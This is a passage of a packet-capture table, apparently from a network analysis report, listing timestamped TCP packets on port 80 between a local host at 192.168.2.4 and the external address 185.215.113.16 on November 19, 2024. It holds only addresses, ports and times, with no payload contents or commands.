Nov 19, 2024 19:14:18.356657982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.356661081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356812954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356829882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.356837988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356863022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356868982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.356934071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357017040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357017040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357017040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357038021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357054949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357072115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357088089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357114077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357121944 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357134104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357156038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357167959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357186079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357367039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357382059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357423067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357438087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357450008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357451916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357465029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357481003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357498884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357516050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357532024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357548952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357583046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357583046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357583046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357702017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.357867002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357887030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357902050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357911110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.357920885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358064890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.358159065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358176947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358194113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358211994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358230114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358246088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358263016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358278990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358297110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358340979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.358340979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.358340979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.358480930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.358566999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358584881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358603001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358611107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358624935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358633041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.358644962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.358725071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.358725071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.393148899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.393201113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.393223047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.393251896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.393269062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.393286943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.393331051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.393331051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.393331051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.393353939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394340038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394392967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394407988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394455910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.394486904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394495010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394511938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.394546986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.394562006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394578934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394596100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394645929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.394721985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394737005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394753933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394772053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394800901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.394800901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.394848108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394865036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394890070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394957066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.394994974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.394994974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.400762081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.400801897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.400819063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.400902987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.400902987 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.400907993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.400927067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.400978088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.400995970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.401027918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.401061058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.402465105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.402513981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.402532101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.402578115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.402627945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.402650118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.402658939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.402735949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.402735949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.402739048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.403198957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.403259993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.403275967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.403338909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.403340101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.403393030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.403409958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.403426886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.403453112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.403491020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.403526068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.403526068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.428716898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.441447020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.441513062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.441531897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.441550970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.441567898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.441591024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.441607952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.441637039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.441637993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.441637993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.441656113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.441690922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.442643881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.442697048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.442714930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.442784071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.442831039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.442847967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.442871094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.442879915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.442902088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.442902088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.442936897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.442981958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443094969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443111897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443129063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443145990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443161964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443171024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443237066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.443237066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.443237066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.443362951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443377972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443406105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443423033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443487883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.443487883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.443531990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443551064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443567991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443586111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443591118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.443607092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443734884 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.443734884 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.443737984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443754911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443773031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443908930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443926096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443942070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443945885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.443962097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443978071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.443995953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444051027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444051027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444051027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444173098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444190979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444209099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444225073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444243908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444257021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444257021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444314957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444384098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444401979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444410086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444427967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444520950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444520950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444565058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444581032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444601059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444608927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444624901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444632053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444642067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444658041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444674015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444684029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444685936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.444693089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.444714069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.445040941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445056915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445074081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445092916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445108891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445127010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445142984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445152998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.445163012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445247889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.445247889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.445331097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445346117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445363045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445380926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.445405006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445421934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445437908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445449114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.445457935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445466042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445473909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.445552111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.445552111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.480042934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.480079889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.480098963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.480114937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.480134010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.480164051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.480174065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.480180979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.480241060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.480415106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.480415106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.480415106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.481189966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481256962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481273890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481297016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481326103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481410027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.481410027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.481442928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481458902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481482029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481498957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.481574059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481590033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481606960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481626987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481671095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.481671095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.481671095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.481714010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481731892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481751919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481760025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.481816053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.481816053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.487623930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.487673998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.487690926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.487742901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.487746000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.487796068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.487828970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.487844944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.487864017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.487878084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.488012075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.489233017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.489298105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.489309072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.489365101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.489420891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.489440918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.489458084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.489475965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.489558935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.489558935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.489937067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.490010023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.490025997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.490052938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.490070105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.490164042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.490164042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.490164042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.490179062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.490196943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.490233898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.490277052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.528332949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.528352976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.528378963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.528397083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.528414011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.528429985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.528469086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.528469086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.528491974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.528508902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.528558016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.529397964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529463053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529484034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529489994 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.529547930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529547930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.529562950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529581070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529629946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.529700994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529716015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529733896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529762983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.529810905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.529843092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.529866934 CET	80	49738	185.215.113.16	192.168.2.4
